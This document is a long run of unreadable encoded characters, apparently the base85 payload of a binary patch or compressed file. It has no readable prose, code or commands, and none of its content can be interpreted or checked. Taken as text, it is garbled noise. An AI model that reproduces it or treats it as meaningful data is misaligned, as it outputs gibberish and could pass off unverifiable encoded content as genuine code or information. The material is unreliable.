z2eJQ)xqzf%VV6g&{I$d8;{be2piM1=Tao111<#;N3d(Uo3%Q0f4i zkF)TNc;R{^kd^pMTRTc_z23&$f5>Dm(*7mB}+%?Eyng2Qd<{B(wP zhE??(!7qz20u>HteZxH{bu{mTPar-}YNXA_$M6~WebD?ED~oGyhiRxP!lpLB^C)*D z;XuIt{x7aLoX-V)B$Ln z%e502A-ES6#M;!?FeHhQi(@yOXH{{iZkkO!INz!^qWJ&V)R*%$t1>NMeb2P1+mfwn zF7nQ@`M4Gzjo%Cpque_ACR^3=49<%gmaWme%)24Pp4@%v|_L<3=My=%844aU* zkm-Pbq4?bd9lZS+&b>;Z@F^q>626Z7U$^=Ap^+~1f0p@Ae~k(-Ls1=nKorhI0eE2= z@-MRaxD{VSL5CT&(?}{1_Q+z-|F6x*`|y%3oQPU^F;Y0sNEfa)Jk-=~<3QMKc%k(< zy&z#Al7fW(YxQ*DOQ_{-n~x<%y3k{I;RVAByRFl&72f0X?Ehj$8z+Pbh8Lz8Uih-% zg$E2T{LJveCc_K=HoWk*Y`tRP5W@>&G~*x!E;hVyo8jHiV|d|rh8JEpyzu7rdIiFP zh8K=Cyl^{`X%g-;(zQCw-$))DYM*DAk$9p13%VDE8(x@bcwv^|g++!J))-#cVtAn= zM=w)2D2Mr%%0fAqZJbDgn+)%QhYjz6mki$u`)tq)ih^l|PltO9Uj(ZS-wf?9>iNUr zBEzS@IMk~48wcg^2gA3*VH>%CUmhahQt>o21@0Ap@MyUGSZ78>CpEAmR?+D&76w3#8gTUh8;^NZsQkB$Mm2s>}?WK;=;L_02@Y2ZA=+fBIgwmu^ zXQ`*Orqo+nU)r9(JJP>m;)A#)YjM71to?HS)v@;T^0Bz%>;pSdQm66u*ZC~D&MJaD`Hu1S!QruG z3DPDnpF7TbEE3#FZl^odo#l493*2sZvAf(|>DFtkcQ?A5je6~S@;67@r{_B-*q7xW d8fzbs-+iJzE1&NzAfzVDCk&v#wd_FngMSchjF z_S&0qCcnHxetCy7p&fjE*al6EQFjg6aD(U(Qt_Ft>{1jZV?&|1Qmt;f;fxw5(l;Cx zQO>>lbtQFOhnDNrBr$bQFV#@R-aX$r?o&mFJyZ2F&4jVx`p6jZ@P@na?}K{^B6o&} zstw&^tHrquzsJrKc^mHW+#nM7?Du?ihiKgM#HyY`RPXt)=!rf}@4LyVcngJhwKHSG zimDp%{Dw*U)5OF*rTaSz(S1+V8`n1zlQy)dnI)7xb8GI_@>YH2P_FuHbkP}a;qY(0 zMb4$*qly~Aeg<0v<}LaK>>StwV8d2lCqOTN-b>2WV~&98Mb10GhF?`xIJ`v*!g1<8?-h)UrKo$#GvS~8BGqQcHY)@o+ zTiJfAoJo5&9iJxpetMG19d4kykC8=Xudi|*L9SrUOnvb!58@<=?amzrBW} z^Dj!H_I&isqIPk2zGMdADc{_r3l~bfg>%337C!j#ZG{iMGi>$9X7DbQIS%n)({8ri zM?Ga~jEEMgGSVsLi!bC_r-&0j$QOuhk%=x5D_)kPU0^rLw_VW9l;43hz2Zf#X;ycu zgeYUBF8X=Iy~b;u#f?IYHClBMBYTM>#?6z(Z84(OcGME7Wc`6 ze+i%1V(dLHRta&l9P*E-63=eFAXbYZ#+nP_j3$0G@-_8#HSUf`v&?hwzSGKHK=xiM zt0OyGhPc!ial7o~QlC>Dk@6##+Cls%8(peLRLj=7I#o#dfDU%8l)8GC=qfe0dPICG zKX9un#r<+}i2AgcAstQBtHd;!+(hjsI?C)O>O}Fee7lMIvDzYBKGsyd8O8k5R816X zWVcXtu;?c53{?|EC%GY1^@@}7M5sDntd*0RsiVYPS=LOQA%;q|xq7RL8GU!=Rv{$o)SSVM;s?UlsMzTkJ#EIeksH6IoQ|tDN zwjpd|l>DHZx?5BkD-zWyt<})(^3-s37vjHmgnG-Be|5vkU3RNmNn3Vn7^ZJdyxUu} zC_ZdVp*E`M%{Q?mK9Lb4)nQ_zanne()QQObGFr_H|MU(GllycEnrTk?{>H6i)c>er zv22m9wh>cgS3tYek4(L9w)zhSa6)_%jD2ezL?UD4jCA!?F~W!)r+%Qed-#~9`1b$v zH}(iDp$YLGU%di5v+xIGiwRbt1j%yv1T_U=%_DZfczA;Pq7XO9^hs)5yWTY@Chfdg z%r!+3Klq-QqF7CA*P=$QoupQai8A9x^%@Z;x8A4@71zrzZ&dFVUO6U1?HrYQ2n}96 z=#z46h^r^oVW*&Z-9{E=s0pF1Noh&0mak{1iJ^ZSyeRoco+HU8e#r>g^Cn34`z4#@ z?Ki2(EjN*bN-v^akSci7c;O~>rVv*fQByEG#S!`FRLrYaW%M-6tF7{uY3f_8+f~D@ zsM$|DoQQmFf?4xJ2xLc@dNVo_E|=e|z9de`0n;(-yU3~2)d$5M`RQ~uR{SOZoUYFA zu%(JB9`lrM!tuW^-Fn6py^WGi%8i+*HcvL6f!odj*=q*aE%HAzP{cFxATh5TehYM) zWY#TU-Q+1^`Oigu4v(>FA;MdveqfM{-FSp_9 zcVyWDHCpbyTU{jTWv_eGN5yKR<{ov05K(ecwi=HiUP#bRmJvkDw+PzG@3YlG{l>ha zDL?c=>nL8*GhD<7Dux~`plQ+*%7pv}9#F)hNK6Kq=n+0I6%gqa*J0M>M3(YV%h#Ox1 zTh6Hy5h7PkT&ON=8fq)fRm#6-tI=YHadx5V7NSo6y+|Dbvq2B4-joY3YRc;A=X~8h z#6nped1xGp!^(`Y=uv2i{@DMY3oVQfDBEMRxn`e|uRW-~i_tGwjFHHc&o0JPyIme$ ztQLt|<>Wkdo9cQ|Hs)b3M!WOX3b9@u%*Q5pn~Yk5pj;uhE&)3%zg?p45dV>@ma4PG zBzbPBnuF7fynC72Ufdyzm#OnreXrD)qnrt{%W}-EKjq`g(SJj}ym|UQ~Da2Do`&DXZReUK&6l0TqTi#o&c0svY2%eE|5|qdvi_!KX9fo_3tXYSq43)pEQ@e@Ivi*AX zDz)j;a{PL=xAkgf$R8eu$;&cyCrmI+cETiCMn0jY zs`@s0;}dExOr^pnVAEDU^Mq;uZg~X)1Q zkT+JSTbsVOoCIWe%YkOSBo@d^lIlW04B++vhgEzOW4*g zRXiwMi2TpZFB)V!7__ ztqsN9?YG|AtKtn~&sAE5(C5b^X6fx@hY?z=EbObz5-a7;eKoHbB$Kb!c4KGx{%Q@! zzH{>GWUagYM+Y)*W11U<$y$^UXXW-3ZH#!*_&G(pM_~WFd4SeIbeH)9v^KbZZylgb z7dObi257yoA9WuHcvMawsP)DMw0@wL-~LXIIp|+)b|}7wBmcfIs_3xqo4Xa|hn5KO zCYdxyTZ|p@`9az(0*mE}A=(QgqT8YsKVLxueZ)85F4)Gv_D)F6+v3y6VA@}?5hcEB zS{?L7+E(?pRZH00$TNw z95PZnB|b3XyxMS~Pm4s;M~6@VJ#x(`Elr#>YDQ^|n&>0n9iw$rn}-_>W3*nX_*LGS zuEof~>6(tyx4bJ|YwP|#oidWTnXQAdTdegh?fM?2^hYlTra*o`YjsX}e z-%i*1;^cHbUGumbo0;?Y6B$2F>**HcxH__{oH9;Ja-XzxlZ_4Iv^6f=spB%Vk3^&K zM~2oyU`Gj=tUVZhz0<0zFuY)#8@`jIoUH9_k`w!^j71UTeKZ2?mlB? zY0=pCZkwguF6J4BXKB}{IGBWIX^~=t?3|_DC|VhLS=tmAX4q%Rr$PtVszWj447T=#!72l8l zT)6NcXVZ4uV&tyvDGMUOL}&0E~qY>4sNBJBZ}TGt?Ztk(J) z*~_$iA>!qk<=SBJwM<%p#^b?j1sZbrN3)PCexZiAZ$nG=$(vSc*NeN2@|9XUJnzc4 zAJRss?$fe)fp#~Zofj3LL0f)6gO=M3x?et1pv@Nl7*T~@HBTCUnGGvB3*YVkVWQWWpc zH+&nld0Mj)OZEoIDva5s+BAVjulKfSo{+9@nOj@aHpZ`8v|}zYM7~|7C3d*tIK-E% zfYkBcWv4yfWi#BgP~MO&x1+g_$mH!>C-H!szFngmZ~k@^eNKL{U3&#nWy=n&?S!mj zw2yx3Ejo&am@03Pb2!ZknzAXTGLj|@86>;-@SxW3dXeWO1ZX5n@It!(rR7UQr>?DV|h#tsMb<& zKb~8yWr(<&_o|AL)84zf*+k@gNgpf9imIIEuLwHo6uo~TaEaB6}@(;DvO?y4|NN^ZwBPlec;=5O?E?hX|Eu0$f zzR`>=UR@Z6>$H2FYKu}idQs)aR-2W7U=@G-C%f|ZOzmDviv!CaW)X`C zj>>HW2jwdSugY4$l;^DiJQoWXVHTiR1#Gvp>P2mmsXbL}R=&Z~*8gZ%-p14(u(X?G z`k$z0t-Oa|iBbHg))H?-W!YcaBs{g9`wItx?y~&6woGg{693kwsMwMUE@*p2&89() zRPoNH#g4vW|E9f;sbaPfE*xVuJQ2=tIHEx3I~-M_{d@OfrWSpY6OFn0I`Y0Z9yaHy zyXfGB$mfh3U5-gkyr_GwspAPDo;D^lb7&!|^BH+lD@TPGZ#0Q={N)xc4VTAJ?-E^& zA38Z^wGqeVxHMG1RjyBS#NizDBEf@3ZJOihu$aH*sPuSTDBL=}%j2PQh|#d726NshBB4n2?FZ%@WN z4xHt9$u%m@tt!8?2y-qi(v*3Ve@I8(bz6&`&L)u0OCn7cG(RNU@?UgSc_5DD=_F6E z<)0b@W;^2gxF4H>Zmk|vDjz9xTqz669L?PGEK#-r(bdhxck=jij(3`MiB^@OqlKg6 zJw?tAvix~RJdOqLKkvZAsFz({aCB=^8A(h1z2meG)p}P{wOIa!xwS+Z@}3tQ9dOq# zdBG8jN9+oM)v^Xon0e=4aJXEtRiC?*WhYzwprsYP=e>2mcXeo$_trPOTJ<$8UfLK^ zXLNYku{EiA*+zjXmOet;Smgc2d*3;(y&}B&YoYiS{&C>~_Q5pBtBj849X|@Z!)W=B zBSlq?8`uBiSgZ=qi|;$%QgLG2pgHHN;m1FN+e1H_ZiC@=$Y||y?h@`6pVIPaRw3Wl zo#R@(@QJ_>Ka^_rq?yO)?sl%wnoj;mDECLueK^B-wW%|@jTk9E>geo)_c~2GIXhv8 z>fOoNQG9M>baD<173IdJ-p=7(oDM%*;Jgw?$O{DP<&_HoYvf3R_3|zP+ye-D%RK}? z$&U#hmVYgD#)!LR^de_$^WXX_2!h_!3__S3zQ`HZ{4G=VaT8NkE$5PKlPP=3l4Z&# zNY>1h&9h`a`60I0nsF*)HseypQpR13uQ48GJjM9Cg?WnmkX2C|#!ifb z87DE`!?=pEg7G-xPmKRChQ4o=8^f5yn94Z8#5_fr$$|xp#f*Ws=;&-A?yEVDK2 zwwN)SaVq1rjQtrC7$X=}#+k>g^6q0SVSJQvuZ4L^6$=hAe#+=$ba2C3F}7z+WE{vi znlY0xn{hegX2vHO_nL?yu4BP3jIQHW%iA#aU>wGn!I;IkfN>4uGmKS?HH@bie_;&! z5cSX$>p>Z$YZ)gq&SqT7SjxDI@eRfkj17$HM^<^!j9nS~Gfra60#g0T0u~fAZeuKG ze1-8CqmQwX(e*J`$e6&G%s7cLi*W&C$;Y}`zp{e`uP`2C{GRbo#wN8^MXeaSG7e+B zf$?U>*^G-BH!|*Htgg+o3OvDr2FB1&xJQhg82c~|W=voEo%ioZ#(gGvkwt<10DiW`{=RhZ&bL z+7(9dvQ!xp85_7^BaZ3oIz$>ZE1jhxC8MdX;Fzi;xpl=2%m;e7B;50rIOm4e6zE3C z?L=>zljQaSXH@vMyZmCj>QG88@%fNT#SWQP=xiBD1$vuYs!I2(rUn(3PpYU6)d3z( zl;8vR04Y(4337g+v$H6d+Y6mN@i>39(3vN)lIQS_0X$1? zU*#N&cUoswIj4(kIj+b#1h3@Q6*;3sn0&g(d85dXqSzUWcZ3}X>SS6miVc(d2})$z zYG+=!9lTrwk%Ct(kFIt`rDUwt&4!&1)fH-Rd^2510#c&NDW(*2+b#!svfCy*ta0`W zKMhJ|j^?_8Ly3|o*RA2;?S#lq6z*N5@>h5QYAVRl;@=gLJQH#|QLaFqgnM{xfSCSb z;IqV4>-^T_9V2_K4X7+L%&M#a7~DIYl$3hN?UaekF1du=$SYD{s;XsjF(&jgaV80Y~~B005{3O~1&dvdJbof?q}o&cnDxlU|@o;qwR;=nb|Sl-#<=ay zBdV(WA>(#B7vsId_MOgmQjQ0hQB>+LQyfJvzN5c5%Jq@kpFsBu0>o5H35i?cj{=Hv zC_qIX_3{jP*xj1Y$?E@Wdh z>Xef3?{!1w!yu>e)V~gcUxQ`0!Vu=%gE{M~C9v~%qN>EJf_Etbo4XXtP4n>%e z_LMU(1b-FWU*Wvc83vPld8WeIGu+el(k>;)Uc1rmsX^kI;K}f!WLHdB8e~^yEZL3Q zXZXx+{$i=$vyGQuaE=t=-bBBg8k#P{_XbR*a;V9?1{m1>;O)iJ-Lmt_8GD_bQ_4W? zM5UI4r?Viiwe>-Er{(^=*o7AL@Vis(8|AncG1|emtQu2%an(fhwAwHb7~EDG!flY- zsWmd^<#v>sQlI1(w}W^>FI}l)JG-sn;8T11?c%^OX~{jhk6%n}O#t@*DcSBcp|S() zXp_Jp<0ZHc?0c#EXmB6-BH8W~!JUv3-v^|-O}$(P_wbCXEpaxG3Mw^Te#xn;Wb4^pu2gt90d|2AQt0(*OklP7w@|1YF{RFDtcFm>Y1K?$B zXSbd#1`hSx(Wh&2s?-2Gv%JgLQAy`5JBp8@&>ZR` zJA92O9UA4YhjR7cnLtW*duTZfyw-0=8`)GjhujYYiR-~@$QQ|Wryviz&hJjeO_2NH z{;$Ilj=3ZbKC~T>;om^4jP@5o^D9BlAaPBAmipz@|+nq4@ z0ez=&=3D2z^f%WTKRJ(tp9m<13Op;*en#n;>HgAbLgj)7PjhPAX~?OT&~es$?qjU` z*(tT~ec&WN!E%S3@hjrF@dkgf)aPBMIOS}RICT8Kw@+%t1jy|~(|WnwjZ#y>Cium) zMPz^nN0LGmI?-=OJJtj#&Z1H7Nq#Z)DO!#r@q{4pOiNrAB(5NF%T_dLP6w!{xsDr+ z9cP`t>*1qs^w&V$o+^)?=cDP)02Q_I0I8x)vthrRu8=a;VV(5cq&B?4)int;D|x}s9*KgnRh%On<55zLUh(Ghf&Yzsjm`J9*3w5Yu$qX1wck#k#}eZ}FQ`KN4k!<}eR_ z)|_gIgI|Lclh~@)4*y;hNG(4h=b)gJ_*<>$4+ENq3}Eo+QHM`MZYOHTS-GFukvP*Y zrrzKsLkq4jKS)(VDx4$glnxCclnFtX9J{3TNe@uGm-cLs=Q_)mZbZ$(sW&TW2o z$`#Aq_Oa^t}!O`u1u7(u z;Fl8Bq>75PCv5yZ*1j?t=#go^yCUSAD_qm@zjlsZ;i5OGX9%igcuPRK(W|BFF%@rA zk4Cy;WnG0cl=^^9oQZVhiELv|E7x>QRLP^QQG{3aYU3Jv@%g`;YpRj!+MvgF13dRy z4e$bk2b<_cpcl>0VDUMIet6Jp;2w&ejq?hkAaT+{(WX8 z`7X%q6o*V7{D&a8XXW_Cw9jROC$ODeJIU=%mP1dGs*y+Gelhqlb1m^OAc9Xv-mn-~ zxt>x2ft{!qrDVVYyL?(WhXU+cf#ZXCSE706AGp-rG4J2*G|MJHZYR3kZZp#2T|M35 z>A8M6JzZAHC5dQu^?bkB92#(Lc2%OQRBe@%(!bYL{rmQ^%N#!|+ta(Byr-w@Sh!<> z-0Le}0Oak?d59waU{j`nxOYBTmhPIaFE(h_tmz5EK^2)Ugow~Oq^5s84#8iX;+ z{C3obcsXt`X5G{PF@<0+c!jlCN(Q?;A>n72U+Q;W?jPxj8kM}lFQyUkf_s3J>}mto zXfgC;w>QYHMt1PJdWMIs^cQFTXAn8Vi-{Ke_UbsyJX8geT?>^O{g4%`R3M!|vgB^K z=P3o2*aIZ77Z|*eP%-Brw-d$2QTXo{g|ypeKyD{DGP&S2EC_7Q3CoW55JjPX9jlBR zM!Bw5JLInNmp~0K0rvnYQ3+o8^mVSDDWi-0X4Iew;KAEBnQsfS+bP3GBW!g+Vjp-m z%qiLJq`}!%?5~FUhsO+ZKN}#X+RuZh11Z_=WL~`5?@k*Yj<4h%y2dZ2S|Y$xfs|}_ zk_Qhi{=7H_?)I);1~&>(H88mEmvfJhpz5K=BC{JLDOvEVvEnC6|sz z@H^X5=&4avmb=~7h;^2DATYSC)a7Ex?L-mXDATULOzkx=^RQiDr0i;<*IU)3%5~&k z3`%A@fmHq>V6Z#Ymbk&P8wMo1+43aZ!w<2zp2eZE*H}JB*%fAQv??qmRaDApP^!?e z$toxjc)1D-ASb&rwyTy)#=4$L>9g4%1q$LY@XJLj_%9Uu@V{qKdyMqE)AUOO51y8n zn;1UJ-R@Ijsnw?mz~I^`T4j(^<12wwVVxA?u$N?R@z+jfS>RqEB{H}7*~TC{<>AZE ze!DrD&{Hr9fWgh7-mqO0rG^a~<@Rx|hf=&-t!8EeX>Th9rUEJ1?V)lLwpn)RK(fn~ zGj71(M?7+AcVgsj5~l}wq>}wx z&;}+LjZy^{5NT1RnmIj+Qt~ms$D$X5JR>M*Uzz38rvT?!!$K!kN_GWY zzhXy--tAGcN9{w}T9NDq&@%}oTkkQMKZ0zoM00)gCs*@RkhTLoUQ)7q+>Xa2i5*gz zdzq&(&tN`;c{cOD%uATJW?sR3IJo&K$Z8ghVS_s6BbYZb@5ekW*NRws=1I)QF;8XQ zhj|9`2(hj=4H%BGp}TRRVWLpNr3N4l4Y4LcU~Q< zXIc{ipOdxPKZ|)7^Eu2DnCr|_ncIslgSkD$vzhafQ1Y2)S^ij*EbwrF<;?G7UdjA+ z<~7XkV&1@fHgoqvs{{0&fs&6G>D?ApJgm2NJ`9SzwRK?wduy|IfmC*|SG~P=w`Kbb z)^}oV@7)Q^?QP56C9>Gw-0Nvldo{kcf z>_u;HV?Ng351lzF8(ENJn!{m{6~ej9qnSUzJc0Q<=Bdo-MG~cS=JPG8WHILncyS-j z<@%LuHdw$81%Batiu`gkLGVAYPZr=#9c~ellY+&E(GMO)Bhg{~x%uATB zU|!CgPVAKIjeVs>l}gq>#Jrk$o_(vSV?jI{G%~l|N%(I)ajcJCY(>QGKoavp)_a*3 zG0$MWig}jBZ&spMkjn-6GfMvcPqF^St8KR)-SVKkP+|+Z*4^*DcO!#l!kq79=tM zlzA%i-OSUOmod*|zSiP-N;V6Qut7fa51E%RKgPU_`P0lRn7_=tiunQNHOx;iuVX&c z$WTN4A#$PK9%*Im}jv*i+L3fQ4{95tRKyM8~M}t z_h3N*8{E&lnhR*kyp;7DnU^zvf_WwL=WKuGW0==6e~GydJdZY=eJqIKWjC04BRdo@ zujd~3WA1*%8UlL~*KmVFSs%^%>zVIl|DMbfUUB8+Qv-5XkW^(AXx|Kzxq#a>$rmE%nMj=J>O&5vc3iDOIg2( zc{%fO%p2I=I)&3;(%9ezHrU85?#{fL_4e(5FY9};zLxbkQ<~{K>-#hJvEDvVHF5*O zS)Z4{V?KlhjqFg!-2GoGLgSh5;|h8+k7m7n=$*j&j;v2${q4+0vp(M9c}g-H+{Ol8 z=4+TQXNPXgGgyB&^DO4em`8Aj1~JcN{YvHz)(C z)0RKhKMSJSAfNeJt{{bZ0_&GBPv-{5Fi&Rv&CI>b?_r+7_U&wL>Jk6xEI7^;_GO;M z1uSBo$a)X+T-M*hJd-PE&%A*3namHde;?+hq^I$Jlm!*+u#ovocIeE!n)P=uuVsEO zb02e!c_Z^v%-y{AmoSe8A4Ip`?JP)OgBO@5Gk=D;m-z_h8FKe#{K?OLL{wR9KhN0h zu%AyHtk36SoXqX#6BqMR*6Yme#|=00a@O zxy8QA*RtNetJ|jl`>yR{y>%1C5ZbqOdy8*m1AE7|ZvplWZ13pyhHLN8_6BKh$kE(m zdjoCF+}f@uf4(9i^JYd?8$Ghc6+Yciz${XuosJmxjnZ#Fwf$-9tTeK zEB4~Jk`4Os+~wQ6VsEJSv0xbMJF)%fpt)`zBf7ADD(ky4x7P+v1!n!qY&J+_gB<4e zL2426o~&Qa{A%XK%=}8(Hd>`{P<_DM$WqyeH zFy_aZ+l%c4^O3BtXFkg6KR&+8f@|5}Ec5G_pJ#qObNe7PmbrbCO=oT&q$V-9pAPI( zfqimpJ(&&cEq@mCWckU%uGqX(z7wdt{?nOj%rlugm}fJ0GS6r3VqU^rXI{qK&Aftn zh{f?OBrIsk1~tq>nb$FI#=L=fbLPrg>(L8 zo2i0%qJx)b6$`qvK`ry1%ze!9Ep}#VWZs9ldz}@5zRaVUU(Gy$c|YdK%#$6wJiRPP zVS^0j{h4PmAHY19`C#S+%!e>9WuD5soOv4aO6EiJSWwM^Va)584`<%Md<1i4z18E9 z%)^+EV(wvnE%PMi*D+6Jo;R8W=`6UOc_#C*%(I!NGtXy!1M?E*lbDw=zma(b^U2Js zES{&}yF<-X!v=RTuVX%&c?0t$%#{sR1Oy*E!k9aldzkCYlbDAvPc=ElzX=P{*&vj8 zCi5`n+00uq&u1RNyo7lx=4H&=Ft1?Vj(Ih4ntzEbsAYoz%o~^wX0B|sdOVbQ81uWB zComU$l1gUoVD4qEGtU4w-!O%+Ad3x}FwbQk%DjMi8|J0V2QaT-ei!p9=7NuAHOw8% z>o)QmCY=QhY!Jd+*<|&&3G*=Kq0BwZ+b~aJK7e^DbHPWubmk7`nVa&g3Un4^vq1>+ zeCADUz0$ATs-Xk;GB+`ZXqU>oMq%m*+}VlMbB znaVtbc{=kZ%rlv{VV;-Gf&nZjU@ko7s#HpuhcGW^-h_Fj?a#d0_K&yxYi)n#KHJ~o zc}k;Q02{ca)nk!h6%frlgn0tclAGTih*Xm*(af7LPq6tg zOP_3Wuf@GKA8qjro2Oemi@9TwqL|M(xh!Y{0i^=tkDac2o95N+w;JZQ#7gQL7UxGh zrHr}#WT(7o>BHDQow@xwvx2$(AQpDOvbP_^GMV$-#@Ubs_LEi8Tb6_QWQ9udncELm z4a{S>0hw=G_V$BR1@lrMN}l&Do@-I1fcbpp<;?B( zEY-}~%UdE~| zPP5eX&n>?!#sbDNMtlXTX*YrWG8wZNXIm(zzvT+KHiw0|jEfla84DOUGB(_06<*4G z8)HVkeBmwEYkB9HE1y_)4n{X)G-Co|5@RZ324fauK4TeU6=NNv@~Ksi$HF|t%YrP% z62=O~TE<33_h(iCp^VXt35=r|GZ?cNa~Vq+D^0}XYaI*RC#-^#7&9638Os@K7!@A2 zBxBt>uIF8OnWrrO;mY;OM9jzBAYK;4s{=SaRo5}UUKy=i1Ktpzr>AW9S62Cx@qu*O z$if2nDB7r_Suhmp@i0gTFd&EYAboCt9t9|60s0Bx)y(Y%`Iy@s46FBdIE`);2>}Ay zTD<|BdXO2wsfPst+-yJqr`G^g0i2%FYXdlS(EYW)0TWQak{TeO7Y!K!oQ5Pjh!-#) zq1<4GygYzYgR28Lb*LeLQv<@ju^KQ;8Ls5f7$yY>sDO+BP6gx#a4MjTIfaxWP{n+d zGQk|eI_B3aW6?zXAG#p!`POOx^m!-(A!k843ZM|@G9QlO%nAcI>8k=bHLxy#)0-8y z&kpf;g*ucJ!0GOqb&=0CFR*zY`bU$b!WMv2$Z7&O&4I=MeiL}~_x=XZyP{O)qG2ik!z$K!+!wHYxuz`cp}`WrOIiGkHo-G!@`);a;2VnF7nA{6xqzZ%5~H*{I|G^29sfe$ri-RncEGh3gWfQ)6rZCeFJlfjQLjXN2^1V(LEY^ z5A*BH$$BgPA8C+5#w7-5G4lzStTfr|(Ap6yWxdTSncESaZ5;g!9}2^_SuXj_6(t*f zaXCYOcA+3E;eT&^;fi%8Llh?0)w!b9B{^hjy~`OEV3dV?329r(j4xf$_<^N4U*f+P zRGJR5?hBWrSxta>o!oD!zavPN;dQ2QN*yZ7Z*VCY^5`l2zlQ93mm{(i+)kCqU#yBg z&bFUC+-F?)k4L75S(69cPDwKSq^q;)J|p{|bajHqjFYZdy&M+#XI$$#w3cNjU5?gO z0Ukc&GjO?4SCUm~?MZa0T%IA<SfcN4|ZyM5Ijm(&Y%xJnJvmgM6b^!rk>Q zJ+dS~SAo2x-~Sz^N?AQB&Xq6MqpQkqE~S==@r?k|jHQYfUe67|R1nsFYj2M$=2k0R#R!4LBQb-mN<$Ah1&^@)v^>C2=o_R^7kL zYrk=|*Gr(w`rT|~$#c3hEWoV_`ARCYrL2Gps(SYubSvx}M#=IpXJZ1moxI3jbnA() zA{h5AJW3(WK4;cpdQ=2>)C77&N!&J~MJc(pZJJ$&|76pM&|9wNv`hxKQzr63T}ypl zcgqPrSA_7$lRlJD`!)VQGVBT(&Fal4RtJ<(D_`~@iWOuXt0(+{(*N)`G?h4~OymOw zI{iB|G(n#E4$)ckohwwYfW9EWw>rSr7wFp)wZRSR=1;7fKh4_AzNLfPDHr*mC71O* zYD|_(zK3fy)MexvY3>NJ>U)=?dtHEk(qAs+k}_xufy`g#neSaA@zoJ2KcM^gn#>z@|MHhw_JhmOs|rFpMW4rV{=X?1Kg0XH?vx>?@z7H)JDf)0S@2CgZ^zad0cxi* zdi=K{1_uqck1mvylPyC2a^EQxItey*L`rl?<=7^UB zc$CQ{KcdUI@@cYcfTr5AG{?aGkH73B32Col5&RlEl5$N0LQ23VIulC9A9S6ed)W9|&}a0__+ADe;6)RS(4 zjSc8ssSH1Zk~83$Bv3MMf7#%6Dn&kM`&)4a+h2yPjY`m zPoVZX1L73mS{~?X#_2bT6Qnh!$L4P^BrbndNyrBd364w@wBK+aORB?HYyN}@E2sVL zx>7HPWxmVb#j1c(YLVx=clGb)8aeqps!h;Qk?s$9DsfKfve!9;JVD-c4whxm9j^E@-mxEgB^ROMi*iz3EUZZb> z9;;#xoY)FR_^I($D1u6i*54EZWtZ0aL-dP_t@SBrQL{Gs0BixH2r}i0Hu^!jfwtAZ z!Vc9pMxP!TeZc-iiPahE5E>byU)P;ftz%qD%*>`rbe|9<^agi!6@Jn-^)fE_&cb&3 zSp5IkIqmeeXw2$%`cQnC?$LI-6mEG(dwsk}lCQRh5Z}ZQtGA@C$LiOC&4|@Ii+rOn zRv#(w(=|su=&GnOM#UjaYU5kd6|Yai4SQNVn(mcdI_kG$8LjK6cf-N#)sFi8V7)q_ zz*0H96NJmaQSjE~jW@9#I%MWLxtEIBT-Egdu)9yy8KKbI^Fby+)Bc>|X8rR>e_ZH~-l5AL|%U20< z0CVyv*_=+SaEo$dH{aq(m4epb&yuT2`nIQ`oq38MXKXu>>_RKev| z$wB#OjqfsEyX2O9{W=G!HW%p8m@;CCwGS*oH^StMC3+Ml(EKF`7=93Y2|8S0nIy{A zOHp6J&1fDz?Lpg+p6N<5my4Xg6pOx6KCu*gS;b{6YGvzXu)vaErcZBGdl?I5x_o7s z-W8Gj8YY@D-6iv8>XDHN)Bhb(Y!%C~1{37|Li{LZ0s2m= z;J!D?)dg@qBwsE-`Hix5AtL9IV+t`xyz=Wp{r1T08UHRZN6uKKU)PaTf$P8YGN$$N zC`_>$+ZCa=NwRMdrY}NJq!+14x5)NIdMk7xvKUf)F=sKRc!vDE7!xXAiq#O7%R#F# zj5Tu8YE0Nh8My{qaT0z+1LKY%TcckWo^?-w@7|q=h zv!%osSE}PDRPj<~3x*m$^R`9*HUc}|oZWg$^EmIUd`-ubzRB^H!yzl4( z`0`NL_Qo{=*Nw*42lb}v=EJ&MRhG&ohxJZ`y$|by3GX|s_aNNCa{LCVssDws%@K=V zbHuX8Z}nYI_Qx3GYV@0lFJ(McW7#)3%Jnc#W?XvIs_%uP`qkw3y@f{HG5sYxh%S|% zexTn*c+GLE;2p;;hhxXBisL@C@V*Z%{jm@AdrbR}xPc#W0~zB!W_!jrKDPYgYV}Fv zx1iQ)=#E-Tu70B5lb4Wg{YBKvn8jGYSixA!sEo7hJ&az)Y{pW?O2%47+LB*t{ce8vjKI>xXGmVGi~He(fIBV+1B%dWsg{1v*21&xdelPrS_ z#!|*Q#-tl9eJ&#+`@*MIWItt8KeKpO#v2$HSZM6{O#g|dfU*8_y}1_RS!R_OXFOep z13ZmY?^F6HL~?r`pCTVOqKVo zVjYZb#xTZc#(2g=#?$QIhxtIpVT|dFnT%PCxfb?Nmb0LMv4pXVv67Kqdnxkoukg&$ zD7)0_v8|I1TTS*dW-?~WJL>i6UF(?o7#kVGj#zFU#`44R`+B|os7&U$j0KEkjC&dP zF;+9yF}iE4a;uC{U*iEG+#bw|hb(!LG5;I==O!Xv-f>1Bk~i>}CAR-xSSoYtV2`gJ zWp01`(aSuR;((OSyro5z4CWn}XEJZjJc~L1&pUkk3kzDXK`wLq1D^TJ?KivetE~px zpSLVv{T1wA%-qAggn20Qjm(>x93Oew#sc$Wsu1pEZhydY7jydqqI;R!pE%veoIg>j z9AMsxD?G&9{;$o)na7cSB(4)IxRM>}n8!1(XWo&yk9jBN4dD1wH@@#D|5v@hm6z27 ze~v=ydLbkg$oBz$j4K}bTHtbwRlQp`@c{B9C!8Mvd5Eqo0zQJPAP#>J1Ac_d^aVDu zJPFa-fs1T*0#9=un5VQs*GUlre1-G-fTIusl20Y%d>K$f=%@k*@Mc`a|G~30@F?ex z12u%-v;j`x{8ZplTvX+zIs3#fb0_6t+_u#66?_S_vxGIqk z!`v8wYvvyO=(87@uW(T#>VZu$QAiOA+=nX(a>CfoD5wB`(E{Fvi)^xh2U&g^I3NGr zG7OD70W3*`4H`lC3jSB+1iYWA0{(%EI+@i&QM&ZR_?M!B#Gd%H6E4aVK7#{NYA7lO z-qRP($makb!ZjQD5?~Fk9OP?(U9ZM>k0PH0EW@=N`Ep?AeuxCgfp6m4i2Nbo=@hJ7 z;MRz&NkwzL7vb(0Kd}F3@c z27G)lRw~Nb35*#6U;LH=;d)#&d>eruq{2QA6Y4lJXVWYN;SbkX1)Tf&tX^rtf z;7(lROxXP{Yy6UcU1wXfIuUppmm9t&-h-1q%@tsOTr@NTfoJZ+r*zvQT0rA|lo^BJ z0EW)RXH$_6%|m7{04ci?TPX?GTjNA{`$qIK9vcPl+D#aHG;}oZWn2Z2?*pFRj0Sly1i+Y5 zY&uw?gu`*sa`ggVI 